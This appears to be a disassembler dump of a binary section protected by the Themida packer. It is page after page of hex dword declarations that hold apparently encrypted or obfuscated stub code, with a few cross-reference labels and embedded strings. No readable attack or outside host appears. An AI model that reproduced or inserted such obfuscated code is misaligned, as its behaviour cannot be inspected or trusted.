		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 8DF3C350h, 7B63FDF9h, 236BFEEh, 5C9DB960h, 0C7615FDDh
		dd 0E200B985h, 5, 8589F900h, 5E2262Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 52C35646h, 8B6652B3h, 0A18589D9h
		dd 0E805E216h, 8, 0E5EAF73Fh, 5BFC2ECCh, 2EA4D381h, 0F587230h
		dd 383h, 0DE8B6600h, 5992C081h,	60560000h, 0D5EF8166h
		dd 61595249h, 0E31BA5Bh, 0EA8119F6h, 19F5F809h,	0AE8h
		dd 9E881800h, 22C15E4Dh, 5EB6FA8Ch, 0B70F088Bh,	2AE981DAh
		dd 0BB79FE08h, 1D0B86E4h, 2453C181h, 0DF810E36h, 3DB92272h
		dd 86D4E981h, 5E92933h,	0FA000000h, 7218B42h, 0CE851h
		dd 28170000h, 11DCC0E0h, 9B055134h, 8F5B89F5h, 0CE900h
		dd 0FEEB0000h, 0FAA8AF51h, 0A75C00DAh, 0E883D29Eh, 0AE902h
		dd 894A0000h, 610A9549h, 82F25739h, 0BF0F4848h,	1EA81DFh
		dd 0F000000h, 2685h, 9E900h, 64A00000h,	64D430C0h, 0E901F2C4h
		dd 2Ah,	27B90E24h, 9FAE40A4h, 36F1D905h, 0FFE7A49Ch, 8B283321h
		dd 0FF5EE9D8h, 0FBFAFFFFh, 0C38BD495h, 3C2F452h, 4E67242Dh
		dd 5E834B1h, 0B1000000h, 31840AF6h, 0D7BF0F5Bh,	70DCC381h
		dd 60600000h, 0EB65C881h, 35B6678Bh, 0C68B6661h, 7B20BF61h
		dd 0EF8149C8h, 49C85F08h, 33FFF38Bh, 59D38B66h,	0B000C181h
		dd 0C68065DEh, 79E981B0h, 665EBE40h, 0F181F18Bh, 31CDFDF9h
		dd 50DE77B8h, 8B0B8945h, 1EB83C2h, 14E9h, 0A3AC0D00h, 5B7F58F1h
		dd 6F54737Eh, 0C9250B5Dh, 0C9C4912Ah, 4B4B4B6Bh, 4F9FE480h
		dd 0FFB0850Fh, 0F6B8FFFFh, 0E90871DBh, 705h, 128E0Fh, 0E9600000h
		dd 9, 4CD568C1h, 0DDD55BECh, 615F533Ah,	217h, 5E232F1h
		dd 85890000h, 5E21E79h
dword_4F16A4	dd 0CE96060h, 34000000h, 6BC44B9Fh, 8030CCE7h, 231E5025h
					; DATA XREF: Themida_:004F08CCo
		dd 0E218C995h, 0B86105h, 89000000h, 0E22D6985h,	24548B05h
		dd 1870F28h, 0F9000000h, 1898589h, 850F05E2h, 0Ch, 6870Fh
		dd 0B5090000h, 5E20A7Dh, 33298D29h, 3CBE05E2h, 89000000h
		dd 0E224BDBDh, 24740305h, 0F5B58924h, 3105E200h, 0E21B9DB5h
		dd 9AD6605h, 0E2327585h, 1870F05h, 0F9000000h, 24244403h
		dd 0DE9h, 92422B00h, 38D464E4h,	6493F3BDh, 50F5C795h, 52505250h
		dd 8C0Fh, 310F0000h, 585A6160h,	5E9310Fh, 4B000000h, 2D6C7037h
		dd 489585Ah, 6D850124h,	8B05E223h, 9D897840h, 5E2185Dh
		dd 28244403h, 68B0Fh, 0BD010000h, 5E2090Dh, 0CE9h, 0BB2F9100h
		dd 3C2C1963h, 2F86C39Fh, 18408BE6h, 14820Fh, 0FE90000h
		dd 0AA000000h, 8B2CD93h, 930F4D09h, 2F6E49C0h, 94056BEh
		dd 0E22CDDB5h, 11BD0105h, 8905E22Bh, 0E239DD85h, 8589F505h
		dd 5E20C75h, 0FE958h, 19370000h, 0EF63D148h, 0C8B69423h
		dd 0A89A1317h, 78708BBFh, 1CC683F9h, 247403F9h,	0BD8DF824h
		dd 5E20C69h, 830FADF9h,	17h, 12E9h, 6DF99D00h, 0EC12C3CBh
		dd 125EECA1h, 2AB413B9h, 3B696DEh, 29242444h, 0E20C2D95h
		dd 9529AB05h, 5E22365h,	2991BD8Dh, 896005E2h, 0E22125BDh
		dd 0D2BF0F05h, 810FAD61h, 6, 1B65BD89h,	440305E2h, 8D292424h
		dd 5E2190Dh, 0BE9h, 8CF4C400h, 1892EEE4h, 2297FACFh, 88A0F50h
		dd 60000000h, 0B9666160h, 8961FA11h, 0B5092404h, 5E20411h
		dd 7880Fh, 0F600000h, 5B51C3BFh, 5E9AB61h, 0D4000000h
		dd 7D16E5B4h, 2C71BD8Dh, 0ADF905E2h, 244403F8h,	0FE928h
		dd 0EC150000h, 2F3BAA72h, 6CBB1A85h, 80141FCEh,	0B98D0919h
		dd 0AB05E224h, 0AE9h, 0B18E8E00h, 74B72874h, 5EE2D406h
		dd 58565760h, 0AE96059h, 46000000h, 0E33EF3B2h,	5412BB20h
		dd 0E2E980CCh, 8DFF6161h, 5E239DDh, 39DDBD83h, 750005E2h
		dd 2444C710h, 1Ch, 4FB58D00h, 0FF05E23Eh, 3AD56E6h, 97282444h
		dd 858ADF8Bh, 5E20A49h,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 18985FFh
		dd 6FE905E2h, 5EFFFFFFh, 0AA99D31h, 0DE905E2h, 0AD000000h
		dd 4C1A1CCDh, 9FB4662Bh, 901315CBh, 2111BD89h, 858B05E2h
		dd 5E20189h, 89E0D1F9h,	0E200ADB5h, 71850305h, 3105E22Ch
		dd 0E21E89B5h, 1F62B05h, 0E208CD85h, 860F9605h,	1, 1AD66F8h
		dd 0E20C3595h, 11E905h,	4BB30000h, 0AFDDA808h, 39EF1924h
		dd 1770A865h, 0C18C3C4Bh, 0AE902E0h, 0D000000h,	0EFACF9DAh
		dd 414662B2h, 698503A9h, 0FC05E20Ch, 60606096h,	820F61h
		dd 61000000h, 0FE9h, 228A2F00h,	55E4C9C7h, 0E311BDFh, 7C3B613Ch
		dd 8E9AD61h, 0E4000000h, 9489BFE7h, 8B192714h, 0FC24244Ch
		dd 24244403h, 7E9h, 0F014CF00h,	75DEFB95h, 1C244489h, 0E9B58B60h
		dd 6605E210h, 61C3FBBFh, 0E9ACF896h, 6,	839791EFh, 0C9323061h
		dd 18E18D01h, 0C1FE05E2h, 13CDBD89h, 0D0D005E2h, 0AC830Fh
		dd 8C0F0000h, 0Bh, 618D8B60h, 8005E21Ah, 0D061B5D3h, 93830FD0h
		dd 0E9000000h, 0Eh, 8C0459B0h, 9A277F14h, 0CB4AEF94h, 0D0D01996h
		dd 78820Fh, 0D0F50000h,	6F820FD0h, 89000000h, 0E22651BDh
		dd 0FC9FE05h, 0FFFFAD89h, 0FDB589FFh, 8305E20Ch, 810F20C4h
		dd 0Ch,	68C0Fh,	850F0000h, 0
		dd 0B8F0Fh, 80600000h, 8589B6EFh, 5E216FDh, 2444C761h
		dd 0FCh, 880F6000h, 0
		dd 16B59D89h, 0B86105E2h, 1, 0D759501h,	8D8D05E2h, 5E27219h
		dd 10D59589h, 0E1FF05E2h, 1E799589h, 85C605E2h,	5E20A49h
		dd 0CE900h, 0E3B10000h,	0D6F3EA3Dh, 6C1DD919h, 0EE9A9E8h
		dd 9D000000h, 94D8276Dh, 193CE615h, 0B64ED257h,	0C2F961D2h
		dd 85090008h, 5E224C1h,	5E950h,	0ED990000h, 895BC25Ch
		dd 12E92434h, 15000000h, 4B272655h, 5B36162Ch, 0AF2057A7h
		dd 0A938F041h, 72B58953h, 0F505E240h, 40A68D89h, 9D8905E2h
		dd 5E20BD5h, 3EFCB58Dh,	0BD0105E2h, 5E20165h, 14458501h
		dd 858D05E2h, 5B7E35h, 10860Fh,	0BE90000h, 23000000h, 0CC3B114Dh
		dd 77146424h, 0D0FF84D8h, 31018D29h, 0F55E05E2h, 0C19589C3h
		dd 8B05E207h, 0E24072B5h, 0B58D8905h, 6005E215h, 8AD7B70Fh
		dd 8D8B61F8h, 5E240A6h,	21B98529h, 0B805E2h, 31000000h
		dd 0E2138DBDh, 0F9D98B05h, 12DE9h, 1820F00h, 0FC000000h
		dd 830F2632h, 1Eh, 3DB58B60h, 0E805E224h, 10h, 536221ACh
		dd 0D3FA9ACh, 7E0FE25Ch, 0C1230ADFh, 8D29615Bh,	5E210E1h
		dd 853102B2h, 5E2232Dh,	0BBE9h,	10E900h, 3480000h, 43484B73h
		dd 24122B48h, 528ABF52h, 0C2322595h, 8890Fh, 0F600000h
		dd 85h,	50606100h, 13E9h, 5C3D7500h, 0DF2EC1B2h, 0C51A07FAh
		dd 29079FA0h, 85F945A7h, 7A05615Bh, 0F8A751Dh, 0E87h, 0B58B6000h
		dd 5E229BDh, 8C0Fh, 60610000h, 9E8h, 27D4A100h,	0A3B6F159h
		dd 0D3810D83h, 31516042h, 6128B45Ah, 8E9CC8Ah, 78000000h
		dd 50E32E5Dh, 0D307194Ch, 0CE9C8h, 56330000h, 0D9CB338Ah
		dd 0BC5B35CFh, 4235556Fh, 0E998D108h, 0Fh, 438E7049h, 0B17624F6h
		dd 0DE62DACCh, 0FEFA62DEh, 6E9CAh, 0ECAD0000h, 6C88C62Ah
		dd 850FD20Ah, 0FFFFFF52h, 7E9h,	0D88EB700h, 6CBC6AA5h
		dd 8166604Bh, 8939B6E8h, 0E20FD59Dh, 0E9466105h, 0Ah, 0DA093F45h
		dd 4259C6FDh, 0DB0B2FE8h, 0FED2850Fh, 8E9FFFFh,	0AC000000h
		dd 0E86F3909h, 0CFDC5312h, 0F0000FCh, 168Fh, 11E900h, 0EA9C0000h
		dd 0BBE0E91Ch, 37F2EAD2h, 9D4F4F91h, 1E2783h, 0E8D0F00h
		dd 60000000h, 305D958Bh, 8B0F05E2h, 0
		dd 89000061h, 0E221ED9Dh, 60000005h, 0AE8h, 0D4BD600h
		dd 72BFB30h, 0B58B8D25h, 0B58959CEh, 5E20B81h, 0ED858D61h
		dd 0FC05E239h, 2C158589h, 800F05E2h, 1,	85858DF8h, 0FC05E23Eh
		dd 0A880Fh, 66600000h, 78D5E781h, 61AFC880h, 1C798589h
		dd 14EB05E2h, 4	dup(0)
		dd 88h,	41C8858Dh, 858905E2h, 5E22639h,	4109BD83h, 0F0005E2h
		dd 13484h, 4985C600h, 5605E20Ah, 26EB2D68h, 24348187h
		dd 53398614h, 262DB5FFh, 858D05E2h, 5E239EDh, 8589D0FFh
		dd 5E240FDh, 0A4985C6h,	685605E2h, 6626EA36h, 1C240481h
		dd 0FF3681CEh, 0E2262DB5h, 0ED858D05h, 0FF05E239h, 18589D0h
		dd 6A05E241h, 4E804h, 10000000h, 8B500000h, 8B042444h
		dd 24448900h, 858B5804h, 5E2410Dh, 1F405h, 2E0C100h, 6A905090h
		dd 195FF00h, 8905E241h,	0E2410585h, 0B8D88B05h,	0FFFFFFFFh
		dd 263995FFh, 0C38B05E2h, 263995FFh, 96E905E2h
		db 3 dup(0)
byte_4F1E7F	db 83h			; DATA XREF: Themida_:004F02F0o
		dd 0E24109BDh, 850F0005h, 1, 0BD8B57C3h, 5E24105h, 58583ABh
		dd 405E241h, 0BD83C35Fh, 5E24109h, 1850F00h, 0C3000000h
		dd 5AD8360h, 405E241h, 41059D8Bh, 7B8305E2h, 850FFFFCh
		dd 26h,	4E8h, 800000h, 448B5000h, 8B0424h, 4244489h, 0FF006A58h
		dd 0FD95FF33h, 6105E240h, 26E9C3h, 4E80000h, 0
		dd 50000080h, 424448Bh,	4489008Bh, 6A580424h, 0FF33FF00h
		dd 0E240FD95h, 5AD8305h, 405E241h, 0FFFF9FE9h, 0D3E948FFh
		dd 60000009h, 908EF4E8h, 8B9C818h, 0AEAD6952h, 5E588282h
		dd 1309AAFBh, 3DD323FFh, 4018F4CDh, 3DCF23F4h, 9B83F4CEh
		dd 1AB1C45Ah, 0BFFE3B45h, 511D8590h, 636AC5B0h,	20C729F5h
		dd 404AF8CCh, 32C921F4h, 8183F4CDh, 0ACDB5Ah, 0A3E03B5Ah
		dd 450A9E8Eh, 5709AEBEh, 20C33EB9h, 4118B5DDh, 26C934BAh
		dd 879AF4DBh, 0EACDA15h, 355Ah,	62h dup(0)
		dd 60000000h, 9A87F4E8h, 0AAD414h, 0B4FD3B45h, 5D0A968Ch
		dd 520FEFF3h, 36C46CEAh, 534ABACCh, 37C838F5h, 9B9FA689h
		dd 8B0D414h, 0E6E37217h, 4E0D9E9Ah, 401EBCBEh, 7DCB29EDh
		dd 593AD9A3h, 36D52CFFh, 9B9FF485h, 0BBFD216h, 0E6F97217h
		dd 51178385h, 5E02A2BEh, 73DF3EF6h, 150EBAC8h, 27D528E8h
		dd 0D59EA6C8h, 1DABD203h, 0A9FF6B17h, 51198384h, 0B0h
		dd 47h dup(0)
		dd 60000000h, 8789F4E8h, 0AB5DE1Bh, 0E6FE3C45h,	50179E97h
		dd 4006A7BEh, 36C32EB9h, 5A0CF4C7h, 73C223EFh, 9B84A1DBh
		dd 4FB9D313h, 0BFAD755Eh, 1C0A848Ch, 4714B6EDh,	598821FCh
		dd 500684A4h, 7FC33EFBh, 9984A189h, 4FBADC15h, 0A0AD6F5Eh
		dd 1C159E91h, 5C0AAAF3h, 328635EBh, 474AB0C7h, 32D23EFFh
		dd 8CCAA0DBh, 4FACC815h, 0A1E26947h, 12159091h,	61h dup(0)
		dd 60000000h, 9086BDEFh, 1DB1DE5Ah, 0B2FD6E45h,	12599586h
		dd 5A0F9BBEh, 21D66CEAh, 5418B3C6h, 32CE6DF7h, 9088F4DAh
		dd 2FED31Fh, 0B6E47556h, 48199D96h, 5247ABFBh, 3E8628F7h
		dd 5008ADC8h, 27CF4090h, 9CCAA78Eh, 0CBBDB14h, 0E6E97E43h
		dd 5D588881h, 410E99BEh, 3C863FECh, 4709F4DBh, 36CD2EFBh
		dd 0A1CAFACDh, 4FADD412h, 0A3E17251h, 521786C3h, 4447BBB9h
		dd 73CD3EF6h, 5813BAC8h, 7DC33FF5h, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 3AE90000h, 8900002Fh, 0E2077D85h, 9D0BFC05h,	5E200BDh
		dd 0BA34BB66h, 6AC08Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0B9E0B7C3h, 68D0Fh, 9D8B0000h, 5E20CEDh
		dd 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h, 53501374h, 1B8C08Bh
		dd 8D000000h, 0E4B19C9Dh, 5BD3FF05h, 5BD8358h, 5E218h
		dd 53501174h, 1B8h, 4D9D8D00h, 0FF05E4B0h, 50585BD3h, 1FAD9D8Bh
		dd 6A5A05E2h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 3C6DC356h, 5330F84Eh, 0C08B5BF5h
		dd 1DBD83F8h, 5E225h, 19E840Fh,	958B0000h, 5E20425h, 1009BD83h
		dd 0F0005E2h, 18B84h, 558D8900h, 6005E217h, 0A5CFCA81h
		dd 858B116Eh, 5E21009h,	18F19589h, 0B70F05E2h, 3E805D8h
		dd 95290000h, 5E21D1Dh,	2890F90h, 8A000000h, 8B0F50FAh
		dd 0Dh,	6E960h,	78740000h, 0E55DB9B4h, 0E3809061h, 1E858D53h
		dd 905E24Ch, 0E21F91B5h, 36B35005h, 31240489h, 0E2315585h
		dd 0FC858D05h, 0F905E24Bh, 0F48A6090h, 61D68B66h, 56606050h
		dd 5E95Ah, 15F20000h, 619044B4h, 52505250h, 2 dup(585A310Fh)
		dd 0D38B9061h, 2C2995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0DBDDBCC3h, 8C81F875h
		dd 0FC492EE3h, 0DF8B7AB2h, 660CC483h, 0E960DA8Bh, 0Dh
		dd 0B6A6D43Ah, 3571D8FAh, 795140EDh, 14E8F8h, 0C7690000h
		dd 56FE9656h, 0AA8A27AFh, 11EF2123h, 6ACCE1E5h,	8589F09Dh
		dd 5E22AD9h, 858D615Fh,	5E24BFCh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 77C35040h, 8B665050h, 4895ADEh
		dd 819D8B24h, 6A05E22Ah, 9D9D2B02h, 6005E208h, 2C79BD89h
		dd 31BF05E2h, 61329107h, 857495FFh, 6A0068h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0B9A621C3h
		dd 5B095CFh, 0B2FCA534h, 6A619Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0D18BC8C3h, 4C2F85C7h
		dd 105E2h, 8D890000h, 5E2054Dh,	10E950h, 51D60000h, 53312637h
		dd 4B7DDBE5h, 0AC8374E2h, 3489A5B9h, 57006A24h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 851A473Bh
		dd 0D88B6047h, 8E9h, 0EECEED00h, 75947854h, 0B589617Bh
		dd 5E24BE0h, 0FDEBF0Fh,	0BD83DBBFh, 5E200B9h, 42850F01h
		dd 89000000h, 0E217698Dh, 5F88305h, 33850Fh, 0B70F0000h
		dd 0B8D8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 9CD4A8C3h, 7DCA1BC2h, 0B5015724h
		dd 5E21035h, 81BD835Ah,	5E204h,	28840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 3D3F99C3h, 0B8832Eh,	0F000000h, 8B60D2B7h, 0E20E3995h
		dd 35858B05h, 8B05E21Fh, 0E21F4D9Dh, 2C08305h, 1345B531h
		dd 8F0F05E2h, 0
		dd 4BD88589h, 9D8B05E2h, 5E217A9h, 9FF00C6h, 0E205C98Dh
		dd 4985C605h, 5305E20Ah, 85858951h, 5B05E20Ch, 4A2ED68h
		dd 4FB860C3h, 0E911AB64h, 8, 2BCB7564h,	0B345A1B7h, 24348161h
		dd 3FB5EA35h, 0DE9h, 0AD0D7600h, 8A7314F0h, 5C3D758Eh
		dd 0B5FFC1B2h, 5E216A1h, 8AD9D8Bh, 858D05E2h, 5E57A61h
		dd 0A19503h, 0D0FF05E2h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0F0C35343h, 0B378C933h, 13E8h, 4D751E00h
		dd 3475BF43h, 0FABA70D5h, 831DE6D4h, 0CCB3CFA7h, 0E85AACB2h
		dd 0Dh,	4F285CF3h, 1D74245Ch, 0AFF9EF59h, 62F38180h, 5B28913Ah
		dd 0AB98589h, 858905E2h, 5E22AEDh, 1D29BD83h, 0F0105E2h
		dd 0AF85h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 890FE5E3h, 6, 10A98589h, 0C66105E2h
		dd 0E20A4985h, 4E84505h, 0C2000000h, 0E9DA6038h, 10h, 0D3DE31CBh
		dd 43C6C7D9h, 992A816Eh, 8544C777h, 8B87B650h, 60042444h
		dd 8B665250h, 5A310FD0h, 8B6158h, 4489DF8Bh, 830F0424h
		dd 8, 28C0Fh, 28B60000h, 0FFDF8B58h, 0E216A1B5h, 6850F05h
		dd 31000000h, 0E204A995h, 61858D05h, 6605E57Ah,	5137E281h
		dd 0C780D0FFh, 89006A70h, 0E21EF18Dh, 66D0FF05h, 958BD78Bh
		dd 5E22A89h, 219DBD83h,	0F0105E2h, 0BE85h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 60E8ADB5h, 1F35858Bh, 2B5605E2h, 0E20E259Dh,	51E95B05h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 66B4C356h, 0B514320Fh,	6F028764h
		dd 0DE8B6690h, 2931BB50h, 0F906CA6h, 146AD1BFh,	9B589h
		dd 95FF05E2h, 5E20AB9h,	8E9h, 0C13B3400h, 66750115h, 0FD8A58AEh
		dd 0F003880h, 0FFFFCB85h, 0BD0150FFh, 5E207A5h,	100C65Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8CC35545h
		dd 800F0AC6h, 3, 61D9BF0Fh, 0B1BD83F5h,	5E219h,	4B840Fh
		dd 0C6800000h, 51D2818Eh, 6A789997h, 519D2BFFh,	0FF05E21Bh
		dd 0E20AB995h, 85F38105h, 2308CDA5h, 0E219799Dh, 0FFE1E905h
		dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 6218CFC3h, 0B5CA8166h, 0B185C79Fh, 105E219h
		dd 80000000h, 858990DFh, 5E24BE4h, 0B318589h, 0BA6605E2h
		dd 8B90036Fh, 525050D8h, 310FDE8Ah, 5AD08B66h, 0BA669058h
		dd 89603D35h, 0E214C5B5h, 52056A05h, 94B35AFCh,	4BFC858Dh
		dd 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 7D94A0C3h, 0B5559A1Eh, 0D08BD88Bh, 5838BB50h
		dd 4893DBCh, 0D18B6624h, 4BEC858Dh, 958B05E2h, 5E2217Dh
		dd 505BFC50h, 15890F60h, 0E9000000h, 10h, 47763251h, 0B34A27EFh
		dd 0EBDAE7D9h, 0B7F581F3h, 24048961h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0F0C35040h,	0FE85Ch, 89370000h
		dd 919B619Ch, 55FFBBABh, 0E169E1F8h, 14E9A8h, 86C80000h
		dd 74459816h, 0E735331Ch, 0CC942126h, 5FD18C2Fh, 0FF5A38A9h
		dd 0E2112D95h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8A0F73DEh, 3, 0F04E780h
		dd 0C87h, 68A0F00h, 89000000h, 0E2216185h, 0F38D8D05h
		dd 0FC05E27Ah, 1174C00Bh, 4BFC858Dh, 0FF5005E2h, 1A8589D1h
		dd 0EB05E24Ch, 1A85C70Ah, 0FF05E24Ch, 60FFFFFFh, 0F7BF0F52h
		dd 19858B58h, 6105E218h, 75B58B60h, 6105E21Ch, 8ADEB70Fh
		dd 0EB8161D0h, 1BEB7FABh, 0A4985C6h, 814D05E2h,	3413A9D2h
		dd 5F516876h, 4813056h,	0DF175724h, 55958973h, 0FF05E231h
		dd 0E21635B5h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0EE111661h, 0E1219D75h
		dd 858D5670h, 5E57A61h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 46C35242h, 81663BF7h,	0FFDE61CAh, 0DFCA80D0h
		dd 2A6D8589h, 950105E2h, 5E215E5h, 0A4985C6h, 814505E2h
		dd 0DDE237CBh, 4E8F952h, 69000000h, 608E7269h, 195FBF52h
		dd 605813DFh, 0DA186BBEh, 0FE902h, 500C0000h, 62DFA61Fh
		dd 99169F1h, 499ADA14h,	50616100h, 448B15B3h, 0D88B0424h
		dd 0B0B2008Bh, 4244489h, 14860Fh, 0FE90000h, 96000000h
		dd 90691EEAh, 0A3A5037Ah, 0E02CFD78h, 6A58F2E4h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 87C5C355h, 1C93CB9Dh, 0B589FA20h, 5E22FD1h, 3F28166h
		dd 0A1B5FF32h, 6A05E216h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 1CCEC356h, 0E459D06Dh
		dd 0CFC68060h, 13C19D8Bh, 8D6105E2h, 0E57A6185h, 0D0FFF805h
		dd 29B5958Bh, 858905E2h, 5E20405h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 4EC35646h, 0E5BC59B8h, 7D8D8960h
		dd 6605E206h, 8B61D78Bh, 859D8BD2h, 8905E20Eh, 0E21F99BDh
		dd 0D98C6605h, 18B0Fh, 0F6F90000h, 840F04C1h, 29Fh, 3810Fh
		dd 0B70F0000h, 18BE9D2h, 0B58B0000h, 5E2234Dh, 5DD10BBAh
		dd 80C6810Bh, 6A000011h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0FB8DC352h,	3FF30996h
		dd 13E9h, 0D82A2600h, 292C94C1h, 0D470CF6Eh, 3653EC24h
		dd 0A60C207Eh, 6890Fh, 8D290000h, 5E230F9h, 1FEDBD83h
		dd 0F0005E2h, 5F85h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0EBD57178h, 880FF084h
		dd 6, 2C2DB529h, 852905E2h, 5E223A1h, 0E4E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0D5DC642Ch, 0B58900A8h, 5E21481h, 0F003E83h,	0B484h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0B7F206EAh, 8D896045h, 5E2331Dh,	6A146Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 40C18CC3h, 0A14BEAE5h, 0B995FF11h, 5205E20Ah, 16B5B529h
		dd 815B05E2h, 0CD3D6EEAh, 6A6164h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 911706C3h, 8368AFh, 0D19589AFh
		dd 0E905E224h, 0FFFFFF68h, 8E960h, 5F9D0000h, 0FC189905h
		dd 11E9511Dh, 0E8000000h, 304E84E9h, 13681F32h,	3E9D2075h
		dd 0B142D8E5h, 106C761h, 8B000000h, 0E21E4D9Dh,	0E4BD8305h
		dd 505E24Bh, 0F9850Fh, 10E80000h, 0DB000000h, 3AFD267Bh
		dd 0C3B96297h, 736A0238h, 0E95A3F00h, 5, 881128FEh, 0DC8A5BF1h
		dd 405B58Bh, 0DB305E2h,	64B9h, 80F08A00h, 840FE83Eh, 15h
		dd 0C88B6660h, 61DA8B66h, 1AE9h, 85896000h, 5E2195Dh, 57E8061h
		dd 70840FC2h, 0BB000000h, 593E2C56h, 46D1BF0Fh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 66C35141h, 65752683h
		dd 0FC53321Ch
		dd 1071958Bh, 0F4905E2h, 0FFFF9E85h, 0C6DA81FFh, 0E965D5A5h
		dd 5Bh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
		dd 34C35141h, 0A225DA21h, 68C943D7h, 0E585012Dh, 8905E20Ch
		dd 0E232F9B5h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 1926CFF4h, 30917E89h
		dd 0C59D89F5h, 5805E215h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 63C35646h, 45FAD526h,	7699589h, 0BD8305E2h
		dd 5E2113Dh, 3F840F00h,	89000001h, 0E21B3185h, 9D8B6005h
		dd 5E213A1h, 3933EB81h,	85C605A6h, 5E20A49h, 9E68FC54h
		dd 51E4F554h, 840F5250h, 0
		dd 5250310Fh, 585A310Fh, 815B585Ah, 0EA6A2434h,	6A1BBBh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 3364E1C3h, 0AA51537Dh, 0B5950318h, 0E905E22Ch, 13h
		dd 69C1C76Ah, 0CB929381h, 99DD5ABEh, 0D7F63480h, 0FF094577h
		dd 0E216A1B5h, 0D88B5105h, 19958B5Ah, 8D05E21Ch, 0E57A6185h
		dd 0CE905h, 0BDAC0000h,	0E46FE55Fh, 2BCC5063h, 870FFAE6h
		dd 17h,	12E9h, 0B1E3C00h, 0C8A63E6Ch, 0D9C003E7h, 0F21421A6h
		dd 0FFE04731h, 6AD8B2D0h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0CC078CE5h
		dd 29BD89D0h, 0F05E225h, 288h, 0FFA9B700h, 0E2113DB5h
		dd 12E95705h, 80000000h, 0C55A1688h, 688E87E0h,	4599C878h
		dd 0FDF12EFBh, 0D0FF5AABh, 0FE8h, 7A760F00h, 95160DA9h
		dd 53361E41h, 994F8B20h, 68D0Fh, 0BD890000h, 5E2164Dh
		dd 8D89615Bh, 5E21611h,	85C7D08Bh, 5E20D79h, 1,	1851BD89h
		dd 666005E2h, 9D8BDA8Bh, 5E21115h, 4E8h, 8000h,	0DE800h
		dd 53E20000h, 0CFD25E2Ch, 5C1E6734h, 8BF95D65h,	0BA505BD7h
		dd 1EE716BCh, 424448Bh,	0BE957h, 28E40000h, 0AEB50687h
		dd 439360FAh, 8B5B25h, 8268BA66h, 4244489h, 8958D18Bh
		dd 0E20F9585h, 0E9FF6A05h, 12h,	0AC7CD2h, 3B42CA7Eh, 47851A47h
		dd 5F1A21F4h, 0BB667978h, 95FFF139h, 5E20B41h, 1F6DBD01h
		dd 6A6105E2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 692EC351h, 0C4A06480h,	0BF0F1BAEh
		dd 7E9D1h, 0E5930000h, 4997A71Bh, 0B9B650DBh, 66240489h
		dd 8B09EBBBh, 0E2245585h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 958B576Eh
		dd 5E20FEDh, 7E95Bh, 14A60000h,	73A2A999h, 0FC00B58h, 6184h
